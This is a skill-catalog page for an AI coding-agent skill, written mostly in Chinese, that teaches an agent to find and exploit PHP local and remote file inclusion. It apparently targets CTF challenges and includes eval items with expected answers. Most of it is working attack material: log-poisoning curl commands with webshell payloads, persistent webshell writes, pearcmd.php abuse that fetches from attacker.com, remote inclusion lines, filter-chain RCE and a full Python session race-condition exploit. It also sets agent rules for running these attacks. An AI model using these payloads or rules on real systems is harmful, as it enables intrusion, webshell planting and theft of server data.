
Lfi Rfi Methodology
- 15 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
lfi-rfi-methodology is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- lfi-rfi-methodology
- AI & Agent Building
- AI-coding skill
Lfi Rfi Methodology by the numbers
- 15 all-time installs (skills.sh)
- Ranked #11,187 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill lfi-rfi-methodologyAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 15 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
文件包含漏洞方法论 (LFI/RFI)
相关 skill:LFI→RCE 后写 webshell →webshell-deploy;命令注入(LFI 链式利用) →command-injection-methodology;PHP 限制绕过 →php-bypass
⛔ 深入参考(确认 LFI 后必读)
- 日志投毒完整步骤、PHP Wrapper、Session 文件包含、include() 陷阱诊断 → references/lfi-to-rce.md
- pearcmd.php 利用、PHP Filter Chain RCE、Session 条件竞争 → 同在 references/lfi-to-rce.md
---
⛔ Phase 0: 页面发现(LFI 测试的前提!)
在测试 LFI 之前必须先找全所有可访问页面。
1. 用 ffuf / spray 扫描 .php/.html;失败时立即降级用 python3 requests 批量测试:
private.php, admin.php, secret.php, flag.php, test.php, debug.php, panel.php, dashboard.php,
upload.php, api.php, config.php, backup.php, shell.php, cmd.php, exec.php, portal.php,
manage.php, internal.php, hidden.php, restricted.php, secure.php, system.php, info.php,
phpinfo.php, setup.php, install.php, download.php, view.php, file.php, read.php, include.php2. 记录所有返回 200 且非空的页面 → 这些才是 LFI 测试目标
Phase 1: 发现文件包含点
⛔ 退出条件:某端点测试 3+ 个参数均无响应差异(长度差 < 10 字节)→ 标记"无 LFI" → 换端点
⛔ 参数 Fuzz(一步到位,禁止逐个手动测试!)
用 Python 批量测试所有常见参数(3 轮以上还在枚举参数 = 违规):
python3 -c "import requests;[print(f'FOUND: {p}?{param}') for p in ['private.php','index.php','page.php','view.php','file.php','read.php'] for param in ['file','page','path','include','doc','template','lang','module','view','load'] if 'root:' in requests.get(f'http://TARGET/{p}?{param}=../../../etc/passwd',timeout=3).text]"- ffuf 做参数 Fuzz 时:wordlist 必须用
Web/CTF/Fuzz_param.txt(不是目录字典!) - 不能只测 file 参数:id 参数也可能存在 LFI
- URL 编码绕过:
..%2f、%2e%2e%2f绕过路径过滤
常见参数名: file, page, path, include, doc, template, lang, module, action, view
测试向量:
?file=../../../etc/passwd
?file=../../../etc/passwd%00 (PHP < 5.3.4)
?file=..%252f..%252fetc%252fpasswd (双编码)验证方法: 对比有参数和无参数的响应长度/内容,有差异 = 参数有效
Phase 2: 路径穿越测试
逐步增加 ../ 层数(通常4-7层到根目录):
?file=../../../../etc/passwdPhase 3: 关键文件读取
⛔ Dockerfile/源码优先路径规则
当已获取 Dockerfile 或应用源码时: 1. 提取 WORKDIR 值(如 /var/www/html/) 2. 提取 flag 文件名(如 xbow-flag.txt) 3. 拼接 WORKDIR + filename 作为第一优先读取路径(如 /var/www/html/xbow-flag.txt) 4. ⛔ 禁止跳过已知路径去盲猜 /app/flag.txt /flag 等
Linux: /etc/passwd, /proc/self/environ, /var/log/apache2/access.log Windows: C:\Windows\win.ini, C:\inetpub\wwwroot\web.config Web应用: config.php, .env, wp-config.php 源码: php://filter/convert.base64-encode/resource=index
PHP 文件包含陷阱
- 直接 include .php 文件不会显示源码,只执行代码
- 需要用
php://filter/convert.base64-encode/resource=xxx读取 PHP 源码
Phase 4: LFI → RCE 决策树
⛔ 日志投毒优先触发条件:当任务描述/题目名包含 poison、log、日志 关键字时,跳过 wrapper 尝试,直接进入日志投毒流程!
LFI 确认
│ ├─ ⛔ 题目含 "poison"/"log" 关键字?→ 直接日志投毒(跳过 Phase 3 后半段)
│ ├─ 目标是 PHP + include()?
│ │ ├─ pearcmd.php 存在?→ pearcmd 写 shell(最快,不依赖日志/session)
│ │ ├─ file_exists() 不检查?→ php://input / data:// wrapper
│ │ ├─ file_exists() 检查?→ wrapper 不可用!用日志投毒或 PHP filter chain
│ │ ├─ 有 session 功能?→ Session 文件包含(将 PHP 代码注入 session 如用户名字段,包含 session 文件执行)
│ ├─ 日志投毒(最通用)
│ │ ├─ User-Agent 注入 PHP 代码
│ │ ├─ ⚠️ 绝对不用 system('cat /file.php')!用 file_get_contents() + echo
│ │ └─ 包含 /var/log/apache2/access.log 触发
│ ├─ PHP Filter Chain RCE(无需文件写入/日志/session)
│ │ └─ 用 php_filter_chain_generator.py 生成 chain
│ └─ 详细步骤 → [references/lfi-to-rce.md](references/lfi-to-rce.md)Phase 5: RFI 测试
?file=http://attacker.com/shell.txt (需 allow_url_include=On) | ?file=\\attacker.com\share\shell.php (SMB/UNC)
注意事项
- include() 会执行 PHP,file_get_contents() 读原始文本 — 关键区别
- LFI 比 RFI 更常见(RFI 需 PHP 配置允许)| HTTP 200 + Content-Length: 0 → PHP 语法错误被吞
🤖 Agent 行为规则 — LFI/RFI
⛔ NEVER
- NEVER 确认 LFI 后不读 references 就尝试 RCE — 必须先读完整利用链
- NEVER 只测
/etc/passwd就放弃 — 必须尝试多种路径穿越深度(../1-10 层) - NEVER 忽略 PHP Wrapper —
php://filter读源码是 LFI 最重要的利用之一 - NEVER 在同一个端点上连续测试超过 5 个参数都无响应差异时还继续 — 立即换端点
- NEVER 跳过页面发现就直接测 LFI — 先找全所有端点再测漏洞
- NEVER 只在首页已知的链接中找 LFI — 隐藏页面(如 private.php, admin.php)才是常见入口
- NEVER 逐个手动测试参数名(超过 3 轮还在枚举参数 = 严重违规!)— 用 Python 批量 Fuzz
- NEVER 用目录字典做参数名 Fuzz — 参数 Fuzz 只用
Web/CTF/Fuzz_param.txt - NEVER 忽略 Dockerfile 中的 WORKDIR + 文件名信息 — 直接拼接为第一优先路径
✅ ALWAYS
- ALWAYS 第一步:枚举全部页面(ffuf 扫描;ffuf 不可用时用 Python 测试 Top-50 常见文件名)
- ALWAYS 测 LFI 前先确认目标端点有动态参数(对比有参数/无参数的响应差异)
- ALWAYS 响应长度差异 < 10 字节 = 该参数无效,立即换参数或换端点
- ALWAYS 确认 LFI 后立即读 references/lfi-to-rce.md 获取完整利用路径
- ALWAYS 尝试
php://filter/convert.base64-encode/resource=读取源码 - ALWAYS ffuf 失败时立即降级:用 python3 requests 批量测试常见文件名
- ALWAYS 参数发现用 Python 一次批量测试(file/page/path/include/doc/...全部一轮搞定)
- ALWAYS 已获取 Dockerfile 时:提取 WORKDIR + 文件名 → 拼接绝对路径作为首选
🔧 工具偏好
1. ffuf / spray — 页面发现首选(LFI 测试的前提) 2. python3 — 参数批量 Fuzz 首选(一次测完所有参数×所有页面) 3. curl (via Bash) — LFI 测试和日志投毒首选(比 http_request 更灵活,支持管道/重定向) 4. 读取 references 文件 — 确认 LFI 后立即读取 references 5. ffuf + Web/CTF/Fuzz_param.txt — 参数 Fuzz 备选(注意用参数字典不是目录字典)
📋 日志投毒 Checklist
确认 LFI 后走日志投毒路线时,严格按以下顺序执行: 1. ✅ 用 LFI 读日志文件(逐个试 nginx/apache 路径)→ 确认可读 2. ✅ 用 curl 注入 webshell payload 到 User-Agent(\$_GET 转义!) 3. ✅ 立即验证:LFI 包含日志 + &cmd=id → 确认输出 uid= 4. ✅ 成功 → 搜 flag + 写持久 webshell;失败 → 检查排查表(见 lfi-to-rce.md)
{
"skill_name": "lfi-rfi-methodology",
"evals": [
{
"id": 1,
"name": "lfi-log-poisoning-trap",
"prompt": "你在 CTF 中通过 LFI 包含了 Apache access.log 来获取 RCE。你在 User-Agent 中注入了 <?php system('cat /FLAG.php'); ?>,包含日志后 HTTP 200 但 Content-Length 为 0(空白页面)。请分析原因并给出正确的 payload。",
"expected_output": "识别 system('cat .php') 在 include 上下文中的二次解析陷阱,改用 file_get_contents",
"expectations": [
"system|cat|二次解析|PHP引擎|<?php被执行",
"file_get_contents|echo|原始字符串|读取不执行",
"Content-Length: 0|语法错误|error_reporting(0)|静默",
"include|执行PHP代码|不是读原始文本",
"<?php echo file_get_contents|正确payload"
],
"required_terms": [
"file_get_contents",
"error_reporting(0)",
"<?php echo file_get_contents"
]
},
{
"id": 2,
"name": "lfi-file-exists-blocks-wrapper",
"prompt": "你发现 LFI 漏洞,?file=../../etc/passwd 成功读取。但 php://filter/convert.base64-encode/resource=config 返回空,php://input 也不行。源码中有 if(file_exists($file)) include($file);。请分析原因和替代方案。",
"expected_output": "识别 file_exists() 对 PHP stream wrapper 返回 false 的特性",
"expectations": [
"file_exists|stream wrapper|返回false|不存在",
"php://filter|php://input|被file_exists阻断",
"日志投毒|Log Poisoning|替代方案",
"Session文件|/tmp/sess_|session包含",
"/proc/self/fd|文件描述符|其他绕过"
],
"required_terms": [
"file_exists",
"php://filter",
"php://input"
]
},
{
"id": 3,
"name": "lfi-session-file-inclusion",
"prompt": "LFI 可用但 php:// wrapper 被 file_exists() 阻断,Apache 日志路径找不到。你发现应用有登录功能且使用 PHP session。请描述利用 session 文件的 LFI→RCE 攻击方法。",
"expected_output": "Session 文件包含的完整步骤",
"expectations": [
"/tmp/sess_|session文件路径|PHPSESSID",
"用户名|注入PHP代码到session|可控字段",
"Set-Cookie|PHPSESSID|获取session ID",
"file_get_contents|echo|payload",
"/var/lib/php|sessions|多个路径尝试"
],
"required_terms": [
"/tmp/sess_",
"file_get_contents",
"/var/lib/php"
]
},
{
"id": 4,
"name": "lfi-include-php-empty-response",
"prompt": "你通过 LFI 包含 /app/flag.php,返回 HTTP 200 但内容为空。直接 cat /app/flag.php 显示内容是 <?php $flag='flag{secret}'; ?>。请解释为什么 include 返回空,以及如何正确获取 flag。",
"expected_output": "理解 include 执行 PHP 代码导致无输出,需要用 RCE + file_get_contents 读取",
"expectations": [
"include|执行PHP|赋值语句无输出|不显示",
"error_reporting(0)|语法错误静默|无报错",
"日志投毒|RCE|file_get_contents|间接读取",
"php://filter|base64|读源码|如果可用",
"直接include .php|不会显示源码|只执行"
],
"required_terms": [
"直接include .php",
"error_reporting(0)",
"file_get_contents"
]
},
{
"id": 5,
"name": "lfi-parameter-discovery",
"prompt": "scan_finger 显示目标是 PHP 应用,smart_discover 发现 /page?id=1 和 /download?file=report.pdf 两个接口。你需要确定哪个存在 LFI,以及正确的参数名。请描述你的参数发现和 LFI 确认策略。",
"expected_output": "对每个参数逐一测试 ../../etc/passwd 路径穿越,file 参数更可能但 id 也需测试,同时 fuzz 隐藏参数",
"expectations": [
"file=../../etc/passwd|path traversal|逐个参数测试",
"id参数也测试|不能只测file|所有参数都可能",
"ffuf|fuzz参数|隐藏参数发现|page/path/template/include",
"http_request|逐个测试|确认响应差异",
"..%2f|%2e%2e%2f|URL编码|绕过过滤"
],
"required_terms": [
"http_request",
"ffuf",
"..%2f"
]
},
{
"id": 6,
"name": "lfi-wrapper-fallback-chain",
"prompt": "你确认 ?file= 参数存在 LFI(../../etc/passwd 成功),但需要读取 PHP 源码和获取 RCE。请按优先级描述你的完整 wrapper/技术 fallback 链。",
"expected_output": "php://filter → php://input → data:// → 日志投毒 → session 文件 → /proc/self,按可用性逐一尝试",
"expectations": [
"php://filter|base64-encode|读源码|最高优先级",
"php://input|POST body|直接执行PHP|RCE",
"data://text/plain|base64|内联PHP执行",
"日志投毒|/var/log/apache2|User-Agent注入|fallback",
"顺序|逐一尝试|优先级|失败才用下一个"
],
"required_terms": [
"php://filter",
"php://input",
"data://text/plain"
]
}
]
}
{
"skill_id": "lfi-rfi-methodology",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "精确关键词搜索",
"keywords": [
"lfi",
"rfi",
"file inclusion",
"文件包含",
"local file inclusion"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术关键词",
"keywords": [
"php://filter",
"path traversal",
"目录穿越",
"wrapper"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被 webshell 生成召回",
"keywords": [
"webshell generate",
"shellcode loader"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "lfi-rfi-scenario",
"scenario": "目标 URL /page?file=about.html 可能存在文件包含漏洞,输入 ../../etc/passwd 被过滤。请搜索 LFI/RFI 方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "lfi|rfi|file inclusion|文件包含"
},
{
"tool": "read_skill",
"id": "lfi-rfi-methodology"
}
]
}
]
}
LFI → RCE 技术详解
日志投毒 (Log Poisoning) — 最常用
完整攻击链(必须严格按顺序执行并验证每一步)
Step 1: 确认 LFI 能读取日志文件
# 用 curl 测试,不要用 browser!逐个尝试日志路径
curl -s "http://target/vuln.php?file=../../../../../../var/log/nginx/access.log" | head -5
curl -s "http://target/vuln.php?file=../../../../../../var/log/apache2/access.log" | head -5
# 如果有 WAF/过滤,用已知的 bypass(如 ....// 双写)
curl -s "http://target/vuln.php?file=....//....//....//....//....//var/log/nginx/access.log" | head -5验证: 响应中应包含类似 GET /xxx HTTP/1.1 的访问日志行。如果为空或报错 → 换路径。
Step 2: 注入 PHP payload 到 User-Agent
# 用 curl 发请求,User-Agent 设为 PHP 代码
# 注意:一次注入失败(语法错误)会污染日志,后续所有 include 都报错!
# 所以 payload 必须一次正确
curl -s "http://target/" -H "User-Agent: <?php echo shell_exec(\$_GET['cmd']); ?>"⚠️ 关键: shell 中 $ 必须转义为 \$,否则 bash 会展开变量导致 payload 损坏。
Step 3: 验证注入 — 通过 LFI 执行命令
# 用 LFI 包含日志文件 + cmd 参数执行命令
curl -s "http://target/vuln.php?file=....//....//....//....//var/log/nginx/access.log&cmd=id"验证: 响应中应包含 uid=33(www-data) 之类的输出。
Step 4: 如果 Step 3 成功 → 立即读 flag + 写持久 webshell
# 读 flag
curl -s "http://target/vuln.php?file=....//....//var/log/nginx/access.log&cmd=find+/+-name+'flag*'+-o+-name+'FLAG*'+2>/dev/null"
curl -s "http://target/vuln.php?file=....//....//var/log/nginx/access.log&cmd=cat+/flag.txt"
# 写持久 webshell(不再依赖日志)
curl -s "http://target/vuln.php?file=....//....//var/log/nginx/access.log&cmd=echo+'<?php+system(\$_GET[c]);?>'+>+/var/www/html/s.php"
# 验证 webshell
curl -s "http://target/s.php?c=id"常见失败原因与排查
| 症状 | 原因 | 解决 |
|---|---|---|
| LFI 返回空/200 Content-Length:0 | PHP payload 语法错误,include 时解析失败 | payload 已污染日志,换日志文件(error.log)或用其他 LFI→RCE 方法 |
$_GET 变成空 | bash 没转义 $ | 用 \$_GET 或单引号包裹 |
| 日志文件找不到 | 路径不对 | 遍历: nginx/access.log, apache2/access.log, httpd/access_log |
| 能读日志但注入后无输出 | disable_functions 禁了 system/exec | 用 file_get_contents() 读文件,或用 mail()+LD_PRELOAD bypass |
| 注入成功但目录遍历被拦 | WAF 拦截 ../ | 用 ....//, ..%2f, URL双编码 |
直接读 flag 的 payload(不走 webshell)
# 如果只需要读 flag 不需要 RCE:
curl -s "http://target/" -H "User-Agent: <?php echo file_get_contents('/flag.txt'); ?>"
curl -s "http://target/vuln.php?file=....//....//var/log/nginx/access.log"
# 响应中搜索 flag{ 即可⚠️ 关键陷阱(必读):
- 绝对不要用 `system('cat /file.php')`!
cat输出的<?php ... ?>在 PHP 解析上下文中会被再次解析 → 语法错误 → 输出为空 - 必须用 `file_get_contents('/FLAG.php')` + `echo` — 读取为原始字符串,不经二次解析
- HTTP 200 但 Content-Length: 0 → PHP 代码产生了语法错误
- 一旦注入了错误 payload,该日志文件就废了 — 每次 include 都会尝试解析错误的 PHP,导致整个页面出错
日志文件常见路径: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/httpd/access_log, /var/log/nginx/error.log, /var/log/apache2/error.log
Payload 模板(按优先级):
Webshell(首选): <?php echo shell_exec($_GET['cmd']); ?>
读取 flag: <?php echo file_get_contents('/flag.txt'); ?>
系统命令: <?php echo shell_exec('ls /'); ?>PHP Wrapper
php://input+ POST body 含 PHP 代码data://text/plain;base64,PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL0ZMQUcucGhwJyk7Pz4=expect://id(需 expect 扩展)- 注意:
file_exists()对 PHP stream wrapper 返回 false!如果目标先file_exists()再include(),wrapper 不可用,必须用日志投毒
Session 文件包含(无需外部服务器!)
步骤 1: 找到把用户输入存入 session 的功能
http_request url="http://target/login.php" method="POST" body="username=<?php echo file_get_contents('/flag.txt'); ?>&password=test"步骤 2: 获取 PHPSESSID(从 Set-Cookie 头)
步骤 3: 包含 session 文件
?file=../../../../tmp/sess_abc123def456Session 文件路径:/tmp/sess_<ID>, /var/lib/php/sessions/sess_<ID>, /var/lib/php5/sess_<ID>
pearcmd.php 利用(PHP 环境通杀)
原理:pearcmd.php(PHP PEAR 包管理器)自带文件写入功能,无需额外条件。
条件:
- 存在 LFI 漏洞
- PHP 安装了 PEAR(Docker PHP 镜像默认包含)
register_argc_argv=On(Docker PHP 默认开启)
# Step 1: 利用 pearcmd 的 config-create 命令写入 webshell
# 核心:通过 URL 参数传入 PEAR 命令行参数
curl 'http://target/vuln.php?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=system($_GET[1]);?>+/tmp/shell.php'
# Step 2: 包含写入的 shell
curl 'http://target/vuln.php?file=/tmp/shell.php&1=cat+/flag.txt'变体(不同 pearcmd 路径):
/usr/local/lib/php/pearcmd.php ← Docker PHP 最常见
/usr/share/php/pearcmd.php ← Debian/Ubuntu
/usr/lib/php/pearcmd.php变体(install 命令下载远程文件):
curl 'http://target/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://attacker.com/shell.php'---
PHP Filter Chain RCE(无文件写入 LFI→RCE)
原理:通过链式嵌套 php://filter 的 convert.iconv 转换,不写入任何文件,直接在 include() 时生成任意 PHP 代码。
条件:
- 存在 LFI 且通过
include()包含 - 不依赖文件写入、不依赖日志、不依赖 session
工具:php_filter_chain_generator.py
# 安装工具
git clone https://github.com/synacktiv/php_filter_chain_generator.git
# 生成执行 id 命令的 filter chain
python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'
# 输出一个很长的 php://filter/... 字符串
# 使用:将生成的 chain 作为 LFI 的参数值
curl 'http://target/vuln.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...|/resource=php://temp'手动构造(短 payload):
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|...|convert.base64-decode/resource=php://temp---
Session 文件包含条件竞争(无需用户功能)
原理:PHP 默认对每个 PHPSESSID 创建 session 文件。如果 session.upload_progress.enabled=On(默认开启),上传文件时 PHP 会将上传进度写入 session 文件,其中包含用户可控的文件名。
条件:
session.upload_progress.enabled = On(PHP 默认开启)session.upload_progress.cleanup = On(默认开启,上传完毕后清除 → 需要竞争)
利用(条件竞争):
#!/usr/bin/env python3
"""Session upload progress race condition → LFI to RCE"""
import requests
import threading
TARGET = 'http://target/vuln.php'
SESS_ID = 'race_session_test'
PAYLOAD = '<?php system("cat /flag.txt"); ?>'
# session 文件路径(按顺序尝试)
SESS_PATHS = [
f'/tmp/sess_{SESS_ID}',
f'/var/lib/php/sessions/sess_{SESS_ID}',
f'/var/lib/php5/sess_{SESS_ID}',
]
def upload():
"""持续上传文件,让 PHP 在 session 中写入包含 payload 的文件名"""
while True:
requests.post(
TARGET,
files={'file': (PAYLOAD, 'x')}, # 文件名=payload
data={'PHP_SESSION_UPLOAD_PROGRESS': PAYLOAD},
cookies={'PHPSESSID': SESS_ID},
)
def include_session():
"""持续尝试包含 session 文件"""
for path in SESS_PATHS:
for _ in range(200):
r = requests.get(f'{TARGET}?file={path}', cookies={'PHPSESSID': SESS_ID})
if 'flag{' in r.text or len(r.text) > 100:
print(f'[+] SUCCESS: {r.text}')
return True
return False
# 启动上传线程
for _ in range(5):
threading.Thread(target=upload, daemon=True).start()
# 尝试包含
include_session()---
/proc/self/fd 暴力
遍历 /proc/self/fd/0 到 /proc/self/fd/255
直接包含 .php 文件的陷阱
当 LFI 通过 `include()` 包含 .php 文件时:
- PHP 引擎会执行该文件,而非显示源码
- flag 在
<?php flag{...} ?>中 →include()尝试解析 → 语法错误 → 空输出 error_reporting(0)下错误被静默吞掉,返回 HTTP 200 + Content-Length: 0- 解决方案: 用日志投毒获得 RCE,再用
file_get_contents()读取